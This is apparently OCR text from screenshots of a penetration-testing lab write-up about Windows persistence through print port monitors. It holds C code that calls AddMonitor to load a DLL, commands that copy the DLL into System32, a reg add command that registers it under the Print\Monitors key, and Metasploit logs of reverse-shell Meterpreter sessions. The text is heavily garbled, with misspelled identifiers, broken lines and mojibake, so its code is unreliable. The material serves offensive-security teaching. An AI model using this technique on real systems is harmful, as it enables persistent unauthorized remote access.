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#include "Windows.h"

int main () {
MONITOR INFO 2 monitorInfo;
TCHAR env[12] = TEXT ("Windows x64") ;
TCHAR name[12] = TEXT ("Monitor");
TCHAR dl1[12] = TEXT ("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;

monitorInfo.pDLLName = dll;
AddMonitor (NULL, 2, (LPBYTE)&monitorInfo);

return 0;

I #include "Windows.h"

main() {
MONITOR_INFO 2 monitorInfo;

env[12]
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CHAR d11[12] = TEXT("te

monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dl1;
AddMonitor(NULL, 2, (LPBYTE)&monitorlInfo);
return 0;
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copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32

Monitors.exe

C:\Windows\system32>copy C:\Users\pentestlab\Desktop\test.dll C:\Windows\System32
1 file(s) copied.

C:\Windows\system32>Monitors.exe

C:\Windows\system32>_
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[*] rted reverse TCP handler on 10.0.2.21:4444

[*] Jlng stagw {106403 bytes) to 10. D 2.30
[*] Metwrpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.30:49692) at 2019-10-
24 19:17:37
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HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

DU A A — R, i mig a o Etestdll,. A gnigds &G EM RS RIER R G E
ollfEe

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v
"Driver" /d "test.dll" /t REG_SZ
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Started reverse TCP handler on 10.0.2.21:4444
10 D 2.30 - MPtPrertPr session 2 clus;J. Reason: Died

) to 10. 3.2.39
Mrtwrp'Ptrr session 3 upwnéd (18.0.2.21:4444 -> 10.0.2.30:49669) at 2019-10-
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